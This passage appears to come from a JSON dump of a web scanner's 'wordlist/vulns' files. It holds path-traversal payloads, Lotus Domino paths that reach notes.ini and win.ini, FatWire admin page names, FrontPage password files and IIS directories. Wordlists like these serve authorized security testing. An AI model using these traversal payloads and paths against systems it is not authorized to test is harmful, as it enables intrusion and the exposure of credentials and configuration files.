LE}\r\n.\\..\\{FILE}\r\n.\\..\\.\\..\\{FILE}\r\n.\\..\\.\\..\\.\\..\\{FILE}\r\n.\\..\\.\\..\\.\\..\\.\\..\\{FILE}\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}\r\n.//..//{FILE}\r\n.//..//.//..//{FILE}\r\n.//..//.//..//.//..//{FILE}\r\n.//..//.//..//.//..//.//..//{FILE}\r\n.//..//.//..//.//..//.//..//.//..//{FILE}\r\n.//..//.//..//.//..//.//..//.//..//.//..//{FILE}\r\n.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}\r\n.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}\r\n.\\\\..\\\\{FILE}\r\n.\\\\..\\\\.\\\\..\\\\{FILE}\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}\r\n"
  },
  {
    "path": "wordlist/vulns/domino.txt",
    "content": ".nsf/../notes.ini\n.nsf/../winnt/win.ini\n852566C90012664F\n?Open \n?OpenServer\nAgentRunner.nsf\nDEASAppDesign.nsf\nDEASLog.nsf\nDEASLog01.nsf\nDEASLog02.nsf\nDEASLog03.nsf\nDEASLog04.nsf\nDEASLog05.nsf\nDEESAdmin.nsf\na_domlog.nsf\naccount.nsf\naccounts.nsf\nadm-bin/listdb.exe\nadmin.nsf\nadmin4.nsf\nadmin5.nsf\nadminadm0disk.nsf\nadminadm0plog.nsf\nagentrunner.nsf\nagentrunner.nsf \nalog.nsf\narchive/a_domlog.nsf\narchive/l_domlog.nsf\nbilling.nsf\nbookmark.nsf\nbookmarks.nsf\nbooks.nsf\nbusytime.nsf\nbusytime.nsf \ncalendar.nsf\ncatalog.nsf\ncatalog.nsf \ncersvr.nsf\ncerta.nsf\ncertlog.nsf\ncertsrv.nsf\ncertsrv.nsf \nchatlog.nsf\nclbusy.nsf\ncldbdir.nsf\nclusta4.nsf\ncollect4.nsf\ncpa.nsf\ncustomerdata\nda.nsf\ndatabase.nsf\ndb.nsf\ndba4.nsf\ndbdirman.nsf\ndclf.nsf\ndecsadm.nsf\ndecsadm.nsf                                       \ndecslog.nsf\ndefault.nsf\ndeslog.nsf\ndiiop_ior.txt\ndirassist.nsf\ndoc/dspug.nsf\ndoc/helpadmn.nsf\ndoc/javapg.nsf\ndoc/readmec.nsf\ndoladmin.nsf\ndomadmin.nsf\ndomcfg.nsf\ndomguide.nsf\ndomlog.nsf\ndomlog.nsf \ndspug.nsf\ndspug.nsf \nevent.nsf\nevents.nsf\nevents4.nsf\nevents4.nsf \nevents5.nsf\ngroup.nsf\ngroups.nsf\nhelp/decsdoc.nsf\nhelp/decsdoc6.nsf\nhelp/dols_help.nsf\nhelp/help5_admin.nsf\nhelp/help5_client.nsf\nhelp/help5_designer.nsf\nhelp/help65_admin.nsf\nhelp/help65_client.nsf\nhelp/help65_designer.nsf\nhelp/lccon.nsf\nhelp/lccon6.nsf\nhelp/lsxlc.nsf\nhelp/lsxlc6.nsf\nhelp/readme.nsf\nhelp4.nsf\nhelplt4.nsf\nhidden.nsf\nhomepage.nsf\niNotes/Forms5.nsf\niNotes/Forms5.nsf/$DefaultNav\niNotes/Forms6.nsf\niNotes/help65_iwa_en.nsf\niNotesForms5.nsf\njotter.nsf\nl_domlog.nsf\nlccon.nsf\nldap.nsf\nleiadm.nsf\nleilog.nsf\nleivlt.nsf\nlndfr.nsf\nlog.nsf\nlog.nsf \nlog4a.nsf\nloga4.nsf\nlsxlc.nsf\nmab.nsf\nmail.box\nmail.box \nmail/admin.nsf\nmail/pxp.nsf\nmail1.box\nmail10.box\nmail2.box\nmail3.box\nmail4.box\nmail5.box\nmail6.box\nmail7.box\nmail8.box\nmail9.box\nmailw46.nsf\nmsdwda.nsf\nmtatbls.nsf\nmtstore.nsf\nnames.nsf\nnames.nsf \nnntp/nd000000.nsf\nnntp/nd000001.nsf\nnntp/nd000002.nsf\nnntp/nd000003.nsf\nnntp/nd000004.nsf\nnntppost.nsf\nnntppost.nsf \nnotes.nsf\nntsync4.nsf\nntsync45.nsf\nntsync45.nsf \npatrol41.nsf\nperweb.nsf\nprivate.nsf\nproghelp/KBCCV11.NSF\nproghelp/KBNV11.NSF\nproghelp/KBSSV11.NSF\npublic.nsf\npuserinfo.nsf\nqpadmin.nsf\nqstart.nsf\nquickplace/quickplace/main.nsf\nquickplacequickplacemain.nsf\nquickstart/qstart50.nsf\nquickstart/wwsample.nsf\nreadme.nsf\nreports.nsf\nreports.nsf \nresource.nsf \nsample/faqw46.nsf\nsample/framew46.nsf\nsample/pagesw46.nsf\nsample/siregw46.nsf\nsample/site1w46.nsf\nsample/site2w46.nsf\nsample/site3w46.nsf\nschema.nsf\nschema50.nsf\nschema50.nsf \nsecret.nsf\nsetup.nsf\nsetup.nsf \nsetupweb.nsf\nsetupweb.nsf \nsmbcfg.nsf\nsmbcfg.nsf \nsmconf.nsf\nsmency.nsf\nsmhelp.nsf\nsmmsg.nsf\nsmquar.nsf\nsmsolar.nsf\nsmtime.nsf\nsmtp.box\nsmtp.nsf\nsmtpibwq.nsf\nsmtpobwq.nsf\nsmtptbls.nsf\nsmvlog.nsf\nsoftware.nsf\nsrvnam.htm \nsrvnam.nsf\nstatauths.nsf\nstatautht.nsf\nstatmail.nsf\nstatmail.nsf \nstatrep.nsf\nstatrep.nsf \nstauths.nsf\nstautht.nsf \nstconf.nsf\nstconf.nsf \nstconfig.nsf\nstconfig.nsf \nstdnaset.nsf\nstdnaset.nsf \nstdomino.nsf\nstlog.nsf\nstlog.nsf \nstreg.nsf\nstsrc.nsf\nstsrc.nsf \ntest.nsf\nuserreg.nsf\nusers.nsf\nvpuserinfo.nsf \nweb.nsf\nweb.nsf \nwebadmin.nsf\nwelcome.nsf\n\n"
  },
  {
    "path": "wordlist/vulns/fatwire.txt",
    "content": "servlet/HelloCS\r\nservlet/ContentServer\r\nservlet/Satellite\r\nservlet/CatalogManager\r\nservlet/BlobServer\r\nservlet/TreeManager\r\nservlet/CookieServer\r\nservlet/CacheServer\r\nservlet/EvalServer\r\nservlet/DebugServer\r\nservlet/FlushServer\r\nservlet/SeedDispatchServer\r\nservlet/Inventory\r\nservlet/SyncSeedDispatchServer\r\nservlet/PageDispatchServer\r\nservlet/DispatchManager\r\nservlet\r\nHelloCS\r\nContentServer\r\nSatellite\r\nCatalogManager\r\nBlobServer\r\nTreeManager\r\nCookieServer\r\nCacheServer\r\nEvalServer\r\nDebugServer\r\nFlushServer\r\nSeedDispatchServer\r\nInventory\r\nSyncSeedDispatchServer\r\nPageDispatchServer\r\nDispatchManager\r\nXcelerate/Admin/LoginPage.html\r\nXcelerate\r\nAdmin\r\nLoginPage\r\nLoginPage.html\r\nXcelerate/LoginPage.html\r\nfuturetense_cs/adminforms.html\r\nfuturetense_cs\r\nadminforms\r\nadminforms.html\r\nfuturetense\r\nopenmarket\r\nfatwire\r\ndivine\r\ncontentserver\r\nxcelerate\r\nassetmaker\r\n"
  },
  {
    "path": "wordlist/vulns/fatwire_pagenames.txt",
    "content": "Fatwire/benchdatabase\r\nFatwire/benchelement\r\nFatwire/benchtop\r\nFatwire/benchwebpage\r\nFutureTense/Apps/AdminForms/AdminForm\r\nFutureTense/Apps/AdminForms/AdminFrame\r\nFutureTense/Apps/AdminForms/AdminMenu\r\nFutureTense/Apps/AdminForms/AdminTitle\r\nFutureTense/Apps/Xcelerate/Render\r\nHello\r\nOpenMarket/AssetMaker/CreateAssetFront\r\nOpenMarket/AssetMaker/CreateAssetPost\r\nOpenMarket/AssetMaker/DeleteAsset\r\nOpenMarket/AssetMaker/FramedLoginPost\r\nOpenMarket/AssetMaker/LoginPage\r\nOpenMarket/AssetMaker/LogoutFront\r\nOpenMarket/AssetMaker/ProcessLoginRequest\r\nOpenMarket/AssetMaker/ShowDescriptionPost\r\nOpenMarket/AssetMaker/ShowDescriptor\r\nOpenMarket/AssetMaker/ShowGeneralFunctions\r\nOpenMarket/AssetMaker/ShowToolbar\r\nOpenMarket/AssetMaker/ShowTree\r\nOpenMarket/AssetMaker/ShowTreeFunctions\r\nOpenMarket/AssetMaker/ShowWorkFrames\r\nOpenMarket/AssetMaker/ShowWorkList\r\nOpenMarket/CommerceData/Installation/DeleteCommerceData\r\nOpenMarket/Gator/UIFramework/LoadAdminTree\r\nOpenMarket/Gator/UIFramework/LoadGlobalPopup\r\nOpenMarket/Gator/UIFramework/LoadTab\r\nOpenMarket/Gator/UIFramework/TreeInstallIE\r\nOpenMarket/Gator/UIFramework/TreeInstallNetscape\r\nOpenMarket/Gator/UIFramework/TreeLoadNetscape\r\nOpenMarket/Gator/UIFramework/TreeOpURL\r\nOpenMarket/Gator/UIFramework/TreeTabManager\r\nOpenMarket/Samples/NewPortal/Export\r\nOpenMarket/Samples/NewPortal/Export/demo\r\nOpenMarket/Samples/NewPortal/Export/main\r\nOpenMarket/Samples/NewPortal/JSP\r\nOpenMarket/Samples/NewPortal/JSP/AdBrick\r\nOpenMarket/Samples/NewPortal/JSP/ArticleBrick\r\nOpenMarket/Samples/NewPortal/JSP/CompanyLogoBrick\r\nOpenMarket/Samples/NewPortal/JSP/FooterBrick\r\nOpenMarket/Samples/NewPortal/JSP/Greeting\r\nOpenMarket/Samples/NewPortal/JSP/ImagesBrick\r\nOpenMarket/Samples/NewPortal/JSP/NavBrick\r\nOpenMarket/Samples/NewPortal/JSP/NewsBrick1\r\nOpenMarket/Samples/NewPortal/JSP/NewsBrick2\r\nOpenMarket/Samples/NewPortal/JSP/NewsBrick3\r\nOpenMarket/Samples/NewPortal/JSP/NewsBrick4\r\nOpenMarket/Samples/NewPortal/JSP/main\r\nOpenMarket/Samples/NewPortal/JSP/mainheadlines\r\nOpenMarket/Samples/NewPortal/XML\r\nOpenMarket/Samples/NewPortal/XML/AdBrick\r\nOpenMarket/Samples/NewPortal/XML/ArticleBrick\r\nOpenMarket/Samples/NewPortal/XML/CompanyLogoBrick\r\nOpenMarket/Samples/NewPortal/XML/FooterBrick\r\nOpenMarket/Samples/NewPortal/XML/Greeting\r\nOpenMarket/Samples/NewPortal/XML/ImagesBrick\r\nOpenMarket/Samples/NewPortal/XML/NavBrick\r\nOpenMarket/Samples/NewPortal/XML/NewsBrick1\r\nOpenMarket/Samples/NewPortal/XML/NewsBrick2\r\nOpenMarket/Samples/NewPortal/XML/NewsBrick3\r\nOpenMarket/Samples/NewPortal/XML/NewsBrick4\r\nOpenMarket/Samples/NewPortal/XML/main\r\nOpenMarket/Samples/NewPortal/XML/mainVariables.mode\r\nOpenMarket/Samples/NewPortal/XML/mainheadlines\r\nOpenMarket/Samples/NewPortal/main\r\nOpenMarket/Samples/Portal/main\r\nOpenMarket/Xcelerate/Actions/ALPopupFront\r\nOpenMarket/Xcelerate/Actions/AbstainFromVotingFront\r\nOpenMarket/Xcelerate/Actions/AbstainFromVotingPost\r\nOpenMarket/Xcelerate/Actions/AddToActiveListPost\r\nOpenMarket/Xcelerate/Actions/AddToGroupFront\r\nOpenMarket/Xcelerate/Actions/AddToGroupPost\r\nOpenMarket/Xcelerate/Actions/ApprovalStatusFront\r\nOpenMarket/Xcelerate/Actions/ApprovalStatusPost\r\nOpenMarket/Xcelerate/Actions/ApproveFront\r\nOpenMarket/Xcelerate/Actions/ApprovePost\r\nOpenMarket/Xcelerate/Actions/AssignFront\r\nOpenMarket/Xcelerate/Actions/AssignHistoryFront\r\nOpenMarket/Xcelerate/Actions/AssignPost\r\nOpenMarket/Xcelerate/Actions/BatchPublish\r\nOpenMarket/Xcelerate/Actions/BrowseAssetChildren\r\nOpenMarket/Xcelerate/Actions/BrowseSiteFront\r\nOpenMarket/Xcelerate/Actions/BuildCollectionFront\r\nOpenMarket/Xcelerate/Actions/BuildCollectionPost\r\nOpenMarket/Xcelerate/Actions/ClearAssignmentFront\r\nOpenMarket/Xcelerate/Actions/ClearAssignmentPost\r\nOpenMarket/Xcelerate/Actions/ClearFromFolderFront\r\nOpenMarket/Xcelerate/Actions/ClearFromFolderPost\r\nOpenMarket/Xcelerate/Actions/ClearTasksPost\r\nOpenMarket/Xcelerate/Actions/CommitFront\r\nOpenMarket/Xcelerate/Actions/CommitPost\r\nOpenMarket/Xcelerate/Actions/ContentDetailsFront\r\nOpenMarket/Xcelerate/Actions/CopyFront\r\nOpenMarket/Xcelerate/Actions/CreateWorkflowGroupFront\r\nOpenMarket/Xcelerate/Actions/DelegateAssignmentFront\r\nOpenMarket/Xcelerate/Actions/DelegateAssignmentPost\r\nOpenMarket/Xcelerate/Actions/DeleteFront\r\nOpenMarket/Xcelerate/Actions/DeleteGroupFront\r\nOpenMarket/Xcelerate/Actions/DeleteGroupPost\r\nOpenMarket/Xcelerate/Actions/DeletePost\r\nOpenMarket/Xcelerate/Actions/DeletessFront\r\nOpenMarket/Xcelerate/Actions/DeletewfReportFront\r\nOpenMarket/Xcelerate/Actions/EditFront\r\nOpenMarket/Xcelerate/Actions/EditPost\r\nOpenMarket/Xcelerate/Actions/EditSearchFront\r\nOpenMarket/Xcelerate/Actions/EditWorkflowGroupFront\r\nOpenMarket/Xcelerate/Actions/EditWorkflowGroupPost\r\nOpenMarket/Xcelerate/Actions/EditwfReportFront\r\nOpenMarket/Xcelerate/Actions/EventPublish\r\nOpenMarket/Xcelerate/Actions/HistoryFront\r\nOpenMarket/Xcelerate/Actions/LockFront\r\nOpenMarket/Xcelerate/Actions/LogoutFront\r\nOpenMarket/Xcelerate/Actions/NewContentFront\r\nOpenMarket/Xcelerate/Actions/NewContentPost\r\nOpenMarket/Xcelerate/Actions/PendingAssignments\r\nOpenMarket/Xcelerate/Actions/PlacePageFront\r\nOpenMarket/Xcelerate/Actions/PlacePagePost\r\nOpenMarket/Xcelerate/Actions/PreviewWithTemplates\r\nOpenMarket/Xcelerate/Actions/PublishConsoleFront\r\nOpenMarket/Xcelerate/Actions/PublishConsolePost\r\nOpenMarket/Xcelerate/Actions/PublishFront\r\nOpenMarket/Xcelerate/Actions/PublishPointsFront\r\nOpenMarket/Xcelerate/Actions/PublishPost\r\nOpenMarket/Xcelerate/Actions/RemoteContentPost\r\nOpenMarket/Xcelerate/Actions/RemoveFromGroupFront\r\nOpenMarket/Xcelerate/Actions/RemoveFromGroupPost\r\nOpenMarket/Xcelerate/Actions/RemoveFromWorkflowFront\r\nOpenMarket/Xcelerate/Actions/RemoveFromWorkflowPost\r\nOpenMarket/Xcelerate/Actions/RemovePubSessionFront\r\nOpenMarket/Xcelerate/Actions/RemovePubSessionPost\r\nOpenMarket/Xcelerate/Actions/RollbackFront\r\nOpenMarket/Xcelerate/Actions/RollbackPost\r\nOpenMarket/Xcelerate/Actions/SaveSearch\r\nOpenMarket/Xcelerate/Actions/SavewfReport\r\nOpenMarket/Xcelerate/Actions/SearchAdmin\r\nOpenMarket/Xcelerate/Actions/SearchFront\r\nOpenMarket/Xcelerate/Actions/SearchPost\r\nOpenMarket/Xcelerate/Actions/Security/GetACL\r\nOpenMarket/Xcelerate/Actions/Security/LDAPAccessUserPublication\r\nOpenMarket/Xcelerate/Actions/Security/ProcessLoginRequest\r\nOpenMarket/Xcelerate/Actions/Security/SelectPublication\r\nOpenMarket/Xcelerate/Actions/Security/SetPublicationName\r\nOpenMarket/Xcelerate/Actions/SendEmailFront\r\nOpenMarket/Xcelerate/Actions/SendEmailPost\r\nOpenMarket/Xcelerate/Actions/SetAssetExportDataFront\r\nOpenMarket/Xcelerate/Actions/SetAssetExportDataPost\r\nOpenMarket/Xcelerate/Actions/SetGroupParticipants\r\nOpenMarket/Xcelerate/Actions/SetStatusFront\r\nOpenMarket/Xcelerate/Actions/SetStatusPost\r\nOpenMarket/Xcelerate/Actions/SetWorkflowFront\r\nOpenMarket/Xcelerate/Actions/SetWorkflowParticipantsFront\r\nOpenMarket/Xcelerate/Actions/SetWorkflowParticipantsPost\r\nOpenMarket/Xcelerate/Actions/SetWorkflowPost\r\nOpenMarket/Xcelerate/Actions/ShareAssetFront\r\nOpenMarket/Xcelerate/Actions/ShareAssetPost\r\nOpenMarket/Xcelerate/Actions/ShowAssignFront\r\nOpenMarket/Xcelerate/Actions/ShowBlockingAssetsFront\r\nOpenMarket/Xcelerate/Actions/ShowCheckoutsFront\r\nOpenMarket/Xcelerate/Actions/ShowFoldersFront\r\nOpenMarket/Xcelerate/Actions/ShowHeldAssetsFront\r\nOpenMarket/Xcelerate/Actions/ShowMyActiveListFront\r\nOpenMarket/Xcelerate/Actions/ShowMyDesktopFront\r\nOpenMarket/Xcelerate/Actions/ShowPublishOutputFront\r\nOpenMarket/Xcelerate/Actions/ShowPublishableAssetsFront\r\nOpenMarket/Xcelerate/Actions/ShowRecentFront\r\nOpenMarket/Xcelerate/Actions/ShowSearches\r\nOpenMarket/Xcelerate/Actions/ShowStartMenuItems\r\nOpenMarket/Xcelerate/Actions/ShowWorkListFront\r\nOpenMarket/Xcelerate/Actions/ShowWorkflowFront\r\nOpenMarket/Xcelerate/Actions/ShowWorkflowParticipantsFront\r\nOpenMarket/Xcelerate/Actions/SimpleSearchFront\r\nOpenMarket/Xcelerate/Actions/StatusDetailsFront\r\nOpenMarket/Xcelerate/Actions/UnlockFront\r\nOpenMarket/Xcelerate/Actions/UpdateFront\r\nOpenMarket/Xcelerate/Actions/UpdatePost\r\nOpenMarket/Xcelerate/Actions/Util/ShowError\r\nOpenMarket/Xcelerate/Actions/Workflow/ActionTaken\r\nOpenMarket/Xcelerate/Actions/Workflow/ActionToTake\r\nOpenMarket/Xcelerate/Actions/WorkflowGroupDetailsFront\r\nOpenMarket/Xcelerate/Actions/WorkflowReportFront\r\nOpenMarket/Xcelerate/Actions/WorkflowReportPost\r\nOpenMarket/Xcelerate/Actions/wfReportAdmin\r\nOpenMarket/Xcelerate/Admin/AssetSubtypeFront\r\nOpenMarket/Xcelerate/Admin/AssetSubtypePost\r\nOpenMarket/Xcelerate/Admin/AssetTypeClientConfigFront\r\nOpenMarket/Xcelerate/Admin/AssetTypeClientConfigPost\r\nOpenMarket/Xcelerate/Admin/AssetTypeClientFront\r\nOpenMarket/Xcelerate/Admin/AssetTypeClientPost\r\nOpenMarket/Xcelerate/Admin/AssetTypeFront\r\nOpenMarket/Xcelerate/Admin/AssetTypePost\r\nOpenMarket/Xcelerate/Admin/AssetTypePubFront\r\nOpenMarket/Xcelerate/Admin/AssetTypePubPost\r\nOpenMarket/Xcelerate/Admin/AssociationFront\r\nOpenMarket/Xcelerate/Admin/AssociationPost\r\nOpenMarket/Xcelerate/Admin/CategoryFront\r\nOpenMarket/Xcelerate/Admin/CategoryPost\r\nOpenMarket/Xcelerate/Admin/ContentCategoryFront\r\nOpenMarket/Xcelerate/Admin/ContentCategoryPost\r\nOpenMarket/Xcelerate/Admin/DelegateAssignmentFront\r\nOpenMarket/Xcelerate/Admin/DelegateAssignmentPost\r\nOpenMarket/Xcelerate/Admin/FolderFront\r\nOpenMarket/Xcelerate/Admin/FolderPost\r\nOpenMarket/Xcelerate/Admin/FramedLoginPost\r\nOpenMarket/Xcelerate/Admin/FunctionPrivs/Front\r\nOpenMarket/Xcelerate/Admin/FunctionPrivs/List\r\nOpenMarket/Xcelerate/Admin/FunctionPrivs/Post\r\nOpenMarket/Xcelerate/Admin/IndexQueryFront\r\nOpenMarket/Xcelerate/Admin/IndexQueryPost\r\nOpenMarket/Xcelerate/Admin/InstallClass\r\nOpenMarket/Xcelerate/Admin/LoginPage\r\nOpenMarket/Xcelerate/Admin/LogoutFront\r\nOpenMarket/Xcelerate/Admin/Monitor/ShowAdminWorkList\r\nOpenMarket/Xcelerate/Admin/NewSiteTreeUpdate\r\nOpenMarket/Xcelerate/Admin/ProcessLoginRequest\r\nOpenMarket/Xcelerate/Admin/Publish/AssetDefaultTemplateFront\r\nOpenMarket/Xcelerate/Admin/Publish/AssetDefaultTemplatePost\r\nOpenMarket/Xcelerate/Admin/Publish/BulkApproveFront\r\nOpenMarket/Xcelerate/Admin/Publish/BulkApprovePost\r\nOpenMarket/Xcelerate/Admin/Publish/DelivTypeEdit\r\nOpenMarket/Xcelerate/Admin/Publish/DelivTypePost\r\nOpenMarket/Xcelerate/Admin/Publish/DestEdit\r\nOpenMarket/Xcelerate/Admin/Publish/DestPost\r\nOpenMarket/Xcelerate/Admin/Publish/HistoryMgtEdit\r\nOpenMarket/Xcelerate/Admin/Publish/HistoryMgtPost\r\nOpenMarket/Xcelerate/Admin/Publish/PublishEventEdit\r\nOpenMarket/Xcelerate/Admin/Publish/PublishEventPost\r\nOpenMarket/Xcelerate/Admin/Publish/TargetSiteEdit\r\nOpenMarket/Xcelerate/Admin/Publish/TargetSitePost\r\nOpenMarket/Xcelerate/Admin/RevTracking\r\nOpenMarket/Xcelerate/Admin/RolesAdminFront\r\nOpenMarket/Xcelerate/Admin/RolesAdminPost\r\nOpenMarket/Xcelerate/Admin/Search/Disable\r\nOpenMarket/Xcelerate/Admin/Search/DisablePost\r\nOpenMarket/Xcelerate/Admin/Search/Enable\r\nOpenMarket/Xcelerate/Admin/Search/EnablePost\r\nOpenMarket/Xcelerate/Admin/Search/List\r\nOpenMarket/Xcelerate/Admin/Search/ListLive\r\nOpenMarket/Xcelerate/Admin/Search/Resync\r\nOpenMarket/Xcelerate/Admin/Search/ResyncPost\r\nOpenMarket/Xcelerate/Admin/Search/Status\r\nOpenMarket/Xcelerate/Admin/Search/StatusLive\r\nOpenMarket/Xcelerate/Admin/SectionFront\r\nOpenMarket/Xcelerate/Admin/SectionPost\r\nOpenMarket/Xcelerate/Admin/ShowBannerGuts\r\nOpenMarket/Xcelerate/Admin/ShowGeneralFunctions\r\nOpenMarket/Xcelerate/Admin/ShowToolbar\r\nOpenMarket/Xcelerate/Admin/ShowTree\r\nOpenMarket/Xcelerate/Admin/ShowTreeFunction\r\nOpenMarket/Xcelerate/Admin/ShowTreeFunctions\r\nOpenMarket/Xcelerate/Admin/ShowWorkFrames\r\nOpenMarket/Xcelerate/Admin/ShowWorkList\r\nOpenMarket/Xcelerate/Admin/Site\r\nOpenMarket/Xcelerate/Admin/SiteFront\r\nOpenMarket/Xcelerate/Admin/SitePost\r\nOpenMarket/Xcelerate/Admin/SourceFront\r\nOpenMarket/Xcelerate/Admin/SourcePost\r\nOpenMarket/Xcelerate/Admin/StartMenuFront\r\nOpenMarket/Xcelerate/Admin/StartMenuPost\r\nOpenMarket/Xcelerate/Admin/User/ACLList\r\nOpenMarket/Xcelerate/Admin/User/Front\r\nOpenMarket/Xcelerate/Admin/User/LDGroupList\r\nOpenMarket/Xcelerate/Admin/User/LDGroupPost\r\nOpenMarket/Xcelerate/Admin/User/LDList\r\nOpenMarket/Xcelerate/Admin/User/LDPost\r\nOpenMarket/Xcelerate/Admin/User/List\r\nOpenMarket/Xcelerate/Admin/User/Modify\r\nOpenMarket/Xcelerate/Admin/User/Post\r\nOpenMarket/Xcelerate/Admin/User/Show\r\nOpenMarket/Xcelerate/Admin/User/ShowSingle\r\nOpenMarket/Xcelerate/Admin/UserProfileFront\r\nOpenMarket/Xcelerate/Admin/UserProfilePost\r\nOpenMarket/Xcelerate/Admin/Workflow/RoleAddFront\r\nOpenMarket/Xcelerate/Admin/Workflow/RoleAddPost\r\nOpenMarket/Xcelerate/Admin/Workflow/RoleDeleteFront\r\nOpenMarket/Xcelerate/Admin/Workflow/RoleDeletePost\r\nOpenMarket/Xcelerate/Admin/Workflow/SubjectEdit\r\nOpenMarket/Xcelerate/Admin/Workflow/SubjectEditPost\r\nOpenMarket/Xcelerate/Admin/WorkflowActionsFront\r\nOpenMarket/Xcelerate/Admin/WorkflowActionsPost\r\nOpenMarket/Xcelerate/Admin/WorkflowFront\r\nOpenMarket/Xcelerate/Admin/WorkflowFunctionFront\r\nOpenMarket/Xcelerate/Admin/WorkflowFunctionPost\r\nOpenMarket/Xcelerate/Admin/WorkflowFunctionPrivsFront\r\nOpenMarket/Xcelerate/Admin/WorkflowFunctionPrivsPost\r\nOpenMarket/Xcelerate/Admin/WorkflowGraphFront\r\nOpenMarket/Xcelerate/Admin/WorkflowPost\r\nOpenMarket/Xcelerate/Admin/WorkflowRoutesFront\r\nOpenMarket/Xcelerate/Admin/WorkflowRoutesPost\r\nOpenMarket/Xcelerate/Admin/WorkflowStatusCodeFront\r\nOpenMarket/Xcelerate/Admin/WorkflowStatusCodePost\r\nOpenMarket/Xcelerate/Admin/WorkflowSubjectFront\r\nOpenMarket/Xcelerate/Admin/WorkflowSubjectPost\r\nOpenMarket/Xcelerate/Admin/WorkflowTimedAction\r\nOpenMarket/Xcelerate/Admin/WorkflowTimedActionEventFront\r\nOpenMarket/Xcelerate/Admin/WorkflowTimedActionEventPost\r\nOpenMarket/Xcelerate/ControlPanel/ControlPanel\r\nOpenMarket/Xcelerate/ControlPanel/SearchResults\r\nOpenMarket/Xcelerate/Export\r\nOpenMarket/Xcelerate/Preview\r\nOpenMarket/Xcelerate/PreviewPage\r\nOpenMarket/Xcelerate/PrologActions/LoginPost\r\nOpenMarket/Xcelerate/PrologActions/Publish/Mirror1/RemoteCall\r\nOpenMarket/Xcelerate/PrologActions/Publish/SessionStatus\r\nOpenMarket/Xcelerate/Render\r\nOpenMarket/Xcelerate/ShowPage\r\nOpenMarket/Xcelerate/UIFrameWork/LoginConfirm\r\nOpenMarket/Xcelerate/UIFramework/ApplicationPage\r\nOpenMarket/Xcelerate/UIFramework/BlankPreview\r\nOpenMarket/Xcelerate/UIFramework/LoginConfirm\r\nOpenMarket/Xcelerate/UIFramework/LoginError\r\nOpenMarket/Xcelerate/UIFramework/LoginPage\r\nOpenMarket/Xcelerate/UIFramework/LoginPost\r\nOpenMarket/Xcelerate/UIFramework/ShowAppToolbar\r\nOpenMarket/Xcelerate/UIFramework/ShowBanner\r\nOpenMarket/Xcelerate/UIFramework/ShowMainFrames\r\nOpenMarket/Xcelerate/UIFramework/ShowMenubar\r\nOpenMarket/Xcelerate/UIFramework/ShowPreviewFrames\r\nOpenMarket/Xcelerate/UIFramework/ShowSiteTree\r\nOpenMarket/Xcelerate/UIFramework/ShowToolbar\r\nOpenMarket/Xcelerate/UIFramework/ShowTree\r\nOpenMarket/Xcelerate/UIFramework/ShowTreeChildren\r\nOpenMarket/Xcelerate/UIFramework/ShowWorkFrames\r\nOpenMarket/Xcelerate/UIFramework/Util/ActionBar\r\nOpenMarket/Xcelerate/Ventanas/AltaDatosFiestrero\r\nOpenMarket/Xcelerate/View\r\nPowerTools/LD/LDAPGetGroups\r\nPowerTools/LD/LDAPLogin\r\nPowerTools/LD/authform\r\nPowerTools/LD/authresult\r\nPowerTools/LD/getuid\r\nPowerTools/LD/searchform\r\nPowerTools/LD/searchresult\r\nPowerTools/Reporter/AdminReport\r\nPowerTools/Reporter/AssetReport\r\nPowerTools/Reporter/CreateTable\r\nPowerTools/Reporter/DeleteTable\r\nPowerTools/Reporter/Record\r\nState\r\n"
  },
  {
    "path": "wordlist/vulns/frontpage.txt",
    "content": ".htaccess\nQUERYHIT.HTM\nSearch\n_fpclass\n_private\n_vti_adm\n_vti_aut\n_vti_bin\n_vti_cnf\n_vti_inf.html\n_vti_log\n_vti_pvt\n_vti_script\n_vti_txt\nadmin.dll\nadmin.exe\nadministrators.pwd\nauthor.dll\nauthor.exe\nauthor.log\nauthors.pwd\ncgi-bin\ndefault.htm\nfrontpg.ini\niisadmin\nisadmin\nlogo.gif\nowssvr.dll\nqueryhit.htm\nsamples\nsearch\nservice.grp\nservice.pwd\nshtml.exe\nsrchadm\nusers.pwd\nvti_inf.html\n"
  },
  {
    "path": "wordlist/vulns/iis.txt",
    "content": "Micros~1\nWebSer~1\n_mem_bin\n_private\n_vti_adm\n_vti_aut\n_vti_bin\n_vti_cnf\n_vti_log\n_vti_pvt\n_vti_script\n_vti_txt\nadministration\nadsamples\narchiv~1\nasp\naspnet_client\nasps\nbin\nbins\ncgi-bin\ncmsample\ncommon\ncommon~1\ndb\nfpsample\nhelp\niisadmin\niisadmpwd\niishelp\niissamples\nimages\ninetpub\ninetsrv\nisapi\nmsadc\npbserver\nprinters\nprogra~1\nsamples\nscripts\nscripts \nscripts/samples\nscripts/tools\nsites\nsiteserver\nsystem\nsystem_web\nweb\nwebpub\nwinnt\nwwwroot\nx.cfm\nx.htx\nx.ida\nx.idc\nx.idq\nx.pl\nx.shtml\n"
  },
  {
    "path": "wordlist/vulns/iplanet.txt",
